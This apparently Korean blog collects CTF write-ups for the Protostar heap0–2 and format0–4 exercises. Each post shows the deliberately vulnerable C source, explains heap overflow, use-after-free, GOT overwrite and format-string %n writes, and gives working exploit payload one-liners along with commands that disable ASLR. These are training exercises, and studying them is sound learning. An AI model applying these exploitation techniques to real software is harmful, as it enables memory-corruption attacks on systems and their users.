no image
protostar heap2
old.liveoverflow.com/binary_hacking/protostar/heap2.html Heap 2 - LiveOverflow Solving heap2 from exploit-exercises.com to learn about heap use-after-free (UAF) exploits old.liveoverflow.com #include #include #include #include #include struct auth { char name[32]; int auth; }; struct auth *auth; char *service; int main(int argc, char **argv) { char line[128]; while(1) { printf("[ auth = %p, serv..
2020.11.12
no image
protostar heap1
old.liveoverflow.com/binary_hacking/protostar/heap1.html Heap 1 - LiveOverflow We are solving heap1 from exploit-exercises.com by exploiting a heap overflow. old.liveoverflow.com #include #include #include #include #include struct internet { int priority; char *name; }; void winner() { printf("and we have a winner @ %d\n", time(NULL)); } int main(int argc, char **argv) { struct internet *i1, *i2..
2020.11.12
no image
protostar heap0
old.liveoverflow.com/binary_hacking/protostar/heap0.html Heap 0 - LiveOverflow Introducing the heap by looking at what malloc() does. old.liveoverflow.com #include #include #include #include #include struct data { char name[64]; }; struct fp { int (*fp)(); }; void winner() { printf("level passed\n"); } void nowinner() { printf("level has not been passed\n"); } int main(int argc, char **argv) { s..
2020.11.06
no image
protostar format4
old.liveoverflow.com/binary_hacking/protostar/format4.html Format 4 - LiveOverflow Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n. old.liveoverflow.com #include #include #include #include int target; void hello() { printf("code execution redirected! you win\n"); _exit(1); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdi..
2020.11.05
no image
protostar format3
old.liveoverflow.com/binary_hacking/protostar/format3.html Format 3 - LiveOverflow Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n. old.liveoverflow.com #include #include #include #include int target; void printbuffer(char *string) { printf(string); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printbuffer(buffer);..
2020.11.05
no image
protostar format2
old.liveoverflow.com/binary_hacking/protostar/format2.html Format 2 - LiveOverflow Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n. old.liveoverflow.com #include #include #include #include int target; void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); if(target == 64) { printf("you have modified the target..
2020.11.05
no image
protostar format1
old.liveoverflow.com/binary_hacking/protostar/format1.html Format 1 - LiveOverflow Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n. old.liveoverflow.com #include #include #include #include int target; void vuln(char *string) { printf(string); if(target) { printf("you have modified the target :)\n"); } } int main(int argc, char **argv) { vul..
2020.11.05
no image
protostar format0
old.liveoverflow.com/binary_hacking/protostar/format0.html Format 0 - LiveOverflow Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n. old.liveoverflow.com #include #include #include #include void vuln(char *string) { volatile int target; char buffer[64]; target = 0; sprintf(buffer, string); if(target == 0xdeadbeef) { printf("you have hit the ..
2020.11.01

protostar heap2

assb
|2020. 11. 12. 15:57

old.liveoverflow.com/binary_hacking/protostar/heap2.html

 

Heap 2 - LiveOverflow

Solving heap2 from exploit-exercises.com to learn about heap use-after-free (UAF) exploits

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;
      
      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}

 이번 문제는 overflow를 발싱시켜서 auth->auth에 값을 넣어줘야 한다. 

 

 먼저 auth와 service에 임의의 값을 넣고 login 해봤다. 문제가 해결되지는 않았지만, auth와 service의 주소값 차이를 확인할 수 있었다. 

 

 그리고 다음으로는 service에 위에서 확인한 주소 차인 16byte 이상의 문자를 넣어준 후 login을 하니 문제가 풀렸다. 

 

 문제 페이로드를 정리하면 다음과 같다. 이때 문자 길이에 공백도 포함이므로 공백+임의의 15바이트 문자를 입력하면 문제가 풀리고, 그 이하의 문자를 입력하면 문제가 풀리지 않는다. 

(python -c 'print "auth ABC\n"+"service "+"A"*15+"\n"+"login"')|./heap2

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar heap1  (0) 2020.11.12
protostar heap0  (0) 2020.11.06
protostar format4  (0) 2020.11.05
protostar format3  (0) 2020.11.05
protostar format2  (0) 2020.11.05

protostar heap1

assb
|2020. 11. 12. 15:26

old.liveoverflow.com/binary_hacking/protostar/heap1.html

 

Heap 1 - LiveOverflow

We are solving heap1 from exploit-exercises.com by exploiting a heap overflow.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

  

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

  이 문제는 printf 함수의 GOT를 winner 함수의 주소로 변경해야 한다. strcpy 함수를 사용해 heap overflow를 발생시켜서 GOT 값을 변경한다. 

 

GOT란?

 

protostar format4

old.liveoverflow.com/binary_hacking/protostar/format4.html Format 4 - LiveOverflow Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n. old.liveov..

assb.tistory.com

 

 

 먼저 printf 함수의 GOT를 확인한다. 

0x8049774

 

 strcpy 함수를 실행하게 bp를 걸고 프로그램을 돌린다. 이때 argv[1]과 argv[2]를 넣고 실행해야지 오류가 안난다.  

 

 프로그램을 실행한 후 esp를 살피면 0x0804a018이라는 주소를 확인할 수 있다. 이를 따라 이동하면 포인터가 가리키는 공간이 나오며, argv[1]로 입력한 AAAA가 저장된 것을 확인할 수 있다. 즉, 0x0804a018는 i1->name이다.

0x804a02C에는 주소가 존재하는데, 이는 i2의 name 포인터이다. 이 위치에 GOT를 넣어주고, 그 다음 winner 함수의 주소를 넣어주면 winner 함수가 실행되게 된다. 

 

정리해보면 이렇게 된다.

0xbffffc80: i1->name pointer

0x0804a018: i1->name

0x0804a02C: i2->name pointer

0x0804a038: i2->name

 

 argv[1]로 임의의 20byte+printf got, argv[2]로 winner 주소를 입력하면 문제가 풀린다.

./heap1 `python -c 'print "\x90"*20+"\x74\x97\x04\x08"+" \x94\x84\x04\x08"'`

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar heap2  (0) 2020.11.12
protostar heap0  (0) 2020.11.06
protostar format4  (0) 2020.11.05
protostar format3  (0) 2020.11.05
protostar format2  (0) 2020.11.05

protostar heap0

assb
|2020. 11. 6. 22:17

old.liveoverflow.com/binary_hacking/protostar/heap0.html

 

Heap 0 - LiveOverflow

Introducing the heap by looking at what malloc() does.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp();

}

 이 문제는 heap을 overflow 시켜야 한다. d와 f를 malloc으로 메모리 동적 할당을 하는데, 이럴 경우 해당 변수는 heap에 존재하게 된다. 

 코드를 살펴보면, f->fp는 nowinner 함수를 가리키고 있다. 또한 d->name에 argv[1]을 strcpy하는데, d->name을 overflow 시켜서 f->fp가 winner 함수를 가리키게 해야한다. 

 

 문제를 풀기에 앞서 winner 함수의 주소를 확인했다. 

 8048464

 

 코드를 확인해보면 d와 f의 주소를 출력한다. 프로그램을 실행해서 해당 변수들의 주소를 확인한다. 

 

 해당 변수들의 주소(0x804a008, 0x804a050) 사이에는 72만큼의 간격이 존재한다. 따라서 임의의 72바이트와 win 함수의 주소를 입력하면 문제가 풀린다. 

 

./heap0 `python -c 'print "\x90"*72+"\x64\x84\x04\x08"'`

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar heap2  (0) 2020.11.12
protostar heap1  (0) 2020.11.12
protostar format4  (0) 2020.11.05
protostar format3  (0) 2020.11.05
protostar format2  (0) 2020.11.05

protostar format4

assb
|2020. 11. 5. 19:52

old.liveoverflow.com/binary_hacking/protostar/format4.html

 

Format 4 - LiveOverflow

Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);   
}

int main(int argc, char **argv)
{
  vuln();
}

 이번 문제는 hello 함수를 실행시켜야 한다. exit(1) 코드를 사용해서 hello 함수를 호출하게 한다. 

 

echo 0 > /proc/sys/kernel/randomize_va_space

 먼저 aslr을 끈다. 

 

 다음으로는 hello 함수의 주소를 확인한다. objdump를 써도 되고, gdb를 사용해도 된다. 

 080484b4

 

 vuln 함수에서 exit 함수를 확인한다. exit@plt를 보면 첫번째 줄에 GOT 주소가 존재한다.

 PLT는 외부 프로시저를 연결해주는 테이블로, PLT를 통해 다른 라이브러리에 있는 프로시저를 호출해 사용할 수 있다. GOT란 PLT가 참조하는 테이블로, 프로시저들의 주소가 들어있다. 즉, PLT를 호출하면 GOT로 점프하는데, GOT에는 함수의 실제 주소가 쓰여있는 것이다.

 즉 GOT의 주소는 0x8049724이고, 해당 주소의 값을 hello 함수의 주소로 바꿔주면 exit() 함수가 실행될 때 hello 함수가 실행되게 된다.

 

  gdb를 사용해서 프로그램을 실행하며 GOT 주소의 값을 확인했다. GOT의 값이 0x080484b4가 되는 페이로드를 찾았다. 

 

 해당 페이로드를 사용하면 hello 함수가 실행되며 문제가 풀린다. 

(python -c 'print "\x24\x97\x04\x08"+"AAAA"+"\x26\x97\x04\x08"+"%x"*2+"%33949x"+"%n"+"%99152x"+"%n"')|./format4

 

 

참고사이트

 

PLT와 GOT 자세히 알기 1

Dynamic Linking 과정을 추적해 PLT와 GOT를 이해해보자 :) 시스템 해킹을 공부하시는 분들이라면 PLT와 GOT에 대해 알고 있을 것입니다. 이제 막 시스템 해킹 공부를 시작한 분들도 한 번 쯤 들어보셨을

bpsecblog.wordpress.com

 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar heap1  (0) 2020.11.12
protostar heap0  (0) 2020.11.06
protostar format3  (0) 2020.11.05
protostar format2  (0) 2020.11.05
protostar format1  (0) 2020.11.05

protostar format3

assb
|2020. 11. 5. 18:17

old.liveoverflow.com/binary_hacking/protostar/format3.html

 

Format 3 - LiveOverflow

Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

 format3은 target의 값을 0x01025544로 바꿔야 한다. 이는 두가지 방법으로 풀 수 있는데, format2처럼 풀던가(대신 값이 크기 때문에 실행 시간이 오래 걸린다) 혹은 각 바이트마다 나눠서 값을 넣어줄 수 있다. 

 

echo 0 > /proc/sys/kernel/randomize_va_space

 문제를 풀기에 앞서 aslr을 해제하고 target의 주소를 찾는다. 

 080496f4

 

 그런 다음 target의 주소를 입력해서 위치를 찾는다. 12번째 위치에 값이 저장된다. 

 

 가장 간단한 방법은 11번째 위치에 target의 값을 0x01025544로 바꾸기 위해 큰 값을 넣어주는 방법이 있다. 하지만 이 방법은 실행시간이 길다. 

(python -c 'print "\xf4\x96\x04\x08" + "%08x"*10+"%16930032x"+"%n"')|./format3 

 

 

 두번째 방법은 target의 각 바이트마다 값을 넣어주는 방법이다. 080496f4를  080496f4, 080496f5, 080496f6 셋으로 나눠서 각 바이트에 44/55/102를 넣어준다. 

 

 먼저 각 바이트에 값을 넣어주기 위해서 주소를 넣어준다. 이때 값을 조절해줘야 하기 때문에 각 주소 앞에 임의의 값을 넣어준다. 

 

 그리고 080496f4에 44를 넣어주기 위해서 값을 찾아준다. "%x"*10으로 진행하면 44보다 큰 값이 들어가기 때문에 "%1c"로 바꿔주었다. 

 

 

 다음으로는 080496f5에 55를 넣어준다. 

 

 마지막으로 080496f6에 102를 넣어주면 문제가 풀린다. 

(python -c 'print "\xf4\x96\x04\x08"+"AAAA"+"\xf5\x96\x04\x08"+"AAAA"+"\xf6\x96\x04\x08"+"%1c"*10+"%38c"+"%n"+"%17c"+"%n"+"%173c"+"%n"')|./format3

 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar heap0  (0) 2020.11.06
protostar format4  (0) 2020.11.05
protostar format2  (0) 2020.11.05
protostar format1  (0) 2020.11.05
protostar format0  (0) 2020.11.01

protostar format2

assb
|2020. 11. 5. 17:32

old.liveoverflow.com/binary_hacking/protostar/format2.html

 

Format 2 - LiveOverflow

Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);
  
  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

 format2의 소스코드이다. format1과 비슷하지만, target의 값을 변경하기만 하면 되는 format1과 달리 format2는 64로 바꿔줘야 문제가 풀린다.

 

echo 0 > /proc/sys/kernel/randomize_va_space

 문제를 풀기 앞서 alsr을 끄고, target의 주소를 찾는다. 

 080496e4

 

 그 다음, format1에서 했던 것과 같이, 임의의 값을 입력하고 '%x'를 사용해서 해당 값의 위치를 찾는다.  

 

 위치를 확인한 후, target의 주소값을 넣어준 후 다시 target의 위치를 찾아준다. target의 위치는 5가 된다. 

 

 그런 다음 5번째 자리에 '%n'을 넣어주니 target의 값이 변했지만, 값이 64가 아닌 39이기 때문에 문제가 풀리지 않는다. 

 

 이때 포맷 스트링 사이에 숫자를 적어주면 해당 포맷 스트링의 크기를 바꿀 수 있다. 4번째 포맷 스트링의 값을 바꿔주며 64가 되도록 설정해주었다. 4번째 포맷 스트링이 '%34x'가 되면 target의 값이 64가 됐다.

 (python -c "print 'AAAA'+'\xe4\x96\x04\x08'+'%x '*3+'%34x'+'%n'")|./format2

 

 참고로 앞의 AAAA는 필수로 입력하지 않아도 되며, 넣어주지 않을 경우 페이로드의 수정이 필요하다. 포맷 스트링 역시 아무거나 사용이 가능하다.  

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar format4  (0) 2020.11.05
protostar format3  (0) 2020.11.05
protostar format1  (0) 2020.11.05
protostar format0  (0) 2020.11.01
protostar stack7  (0) 2020.10.29

protostar format1

assb
|2020. 11. 5. 16:49

old.liveoverflow.com/binary_hacking/protostar/format1.html

 

Format 1 - LiveOverflow

Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

 이 문제는 format string 공격을 사용해야 한다. printf(string)는 FSB 취약점이 존재하는 코드로, printf("%s", string)으로 사용해야지 안전하다. 

 printf() 함수는 포맷 스트링 문자(%d, %x, %c 등)를 만나면 스택에 저장된 값을 출력한다. 또한 "%n" 포맷 인자를 만나면 이 포맷 인자의 순서에 해당하는 내용을 스택에서 pop하고, pop된 내용을 주소로 이용해 해당 주소에 지금까지 출력된 문자의 개수를 저장한다. 

 

 문제를 해결하기 앞서 target의 주소를 고정하기 위해서 aslr을 꺼준다. 

echo 0 > /proc/sys/kernel/randomize_va_space

 

 그 다음 objdump -t를 사용해서 target 변수의 주소 값을 찾아준다. 

 08049638

 

 이제 임의의 문자(AAAA, XXXX등 아무 문자)를 입력하고, '%x' 포맷 스트링을 사용해서 16진수 값을 출력한다. 입력한 임의의 문자의 아스키 값을 찾아줘야 하므로 '%x'의 개수를 늘려가면서 찾아준다.

 이때 문자가 한 블록 내에 들어가야 target의 주소를 pop할 때 정상적인 주소를 보낼 수 있다. 따라서 '%x.' 형식으로 출력하여 41414141(AAAA의 경우)가 한 블록 내에 들어가는 '%x'의 개수를 찾아준다. 

 

 다음으로는 target의 주소도 추가해서 매개변수로 넣어준다. 아스키값과 target의 주소가 제대로 출력되는지 확인한다. target의 위치는 129번째로, 이 위치를 기억해준다. 

 

 마지막으로 문제를 해결하기 위해 129번째 위치에 '%n'을 넣어준다. '%n'을 만나게 되면 이 순서에 해당하는 내용(target의 주소값, 8049638)을 스택에서 pop하고, 이 pop된 내용을 주소로 출력된 문자의 개수를 저장하게 된다. 즉, target의 값이 바뀌게 되어 문제가 해결된다. 

 이때 포맷 스트링의 개수(이 경우 130)에서 변하게 되면 주소가 한 블럭 안에 들어가지 않기 때문에 시그먼트 오류가 난다. 이를 주의해서 '%x'와 '%n'의 개수가 130개가 되도록 해준다. 

 ./format1 $(python -c "print 'AAAA'+'\x38\x96\x04\x08'+'%x.'*128+'%n.'+'%x.'")

 

 

 참고한 사이트

 

포맷 스트링 버그(Format string bug) 취약점이란?

/* written by kaspy (kaspyx@gmail.com) */ 포맷 스트링 버그(Format String bug,이하 FSB)란 버퍼 오버플로우 해킹 기법의 한종류로써, 사용자의 입력에 의해서 프로그램의 흐름을 변경시킬수있는 취약점이다...

kaspyx.tistory.com

 

[Format String Attack] 포맷 스트링 공격이란?

Format String Attack [1] Format String Attack 서론 2000년도 후반에 해커들 사이에 큰 반향을 일으키 보고서 하나가 발표되었다. Format String Attack... Format String Attack이란 무엇인가? 이것은 기존에..

eunice513.tistory.com

 

 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar format3  (0) 2020.11.05
protostar format2  (0) 2020.11.05
protostar format0  (0) 2020.11.01
protostar stack7  (0) 2020.10.29
protostar stack6  (0) 2020.10.29

protostar format0

assb
|2020. 11. 1. 23:04

old.liveoverflow.com/binary_hacking/protostar/format0.html

 

Format 0 - LiveOverflow

Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

 buffer을 overflow 시켜서 target의 값을 0xdeadbeef로 변경해야 한다. 이때 buffer에는 argv[1] 값이 들어가게 된다. 

 

 main과 vuln 함수를 gdb로 확인했다. 

 

 gdb로 확인한 내용을 바탕으로 스택 구조를 그림으로 그려보면 다음과 같다. 즉, target의 값을 변조시키기 위해서는 임의의 64byte+"0xdeadbeef"를 입력하면 된다. 

 

./format0 `python -c 'print "\x90"*64+"\xef\xbe\xad\xde"'`

 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar format2  (0) 2020.11.05
protostar format1  (0) 2020.11.05
protostar stack7  (0) 2020.10.29
protostar stack6  (0) 2020.10.29
protostar stack5  (0) 2020.10.29